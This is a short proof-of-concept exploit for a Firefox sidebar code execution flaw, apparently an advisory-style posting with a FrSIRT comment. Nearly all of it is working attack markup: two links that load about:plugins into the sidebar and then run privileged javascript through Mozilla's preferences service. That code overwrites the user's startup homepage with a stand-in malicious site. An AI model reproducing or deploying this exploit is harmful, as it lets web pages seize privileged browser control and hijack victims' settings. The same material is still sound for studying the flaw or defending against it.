Mozilla Firefox sidebar code execution proof of concept exploit.
918105249799f2e75133c26a169575d895d86753b2cfe11d2ae197d6d72c4e12
// FrSIRT Comment : If a user clicks on a link, this code will load "about:plugins"
// into Firefox sidebar panel and will overwrite "browser.startup.homepage",
// which will change the homepage to malicious.com
<a href="about:plugins" target="_search">Click Here First</a><br>
<a href="javascript: var prefs = Components.classes['@mozilla.org/preferences-service;1']
.getService(Components.interfaces.nsIPrefBranch); prefs.setCharPref('browser.startup.homepage',
'https://www.malicious.com/');" target="_search">Next, Click Here</a></p>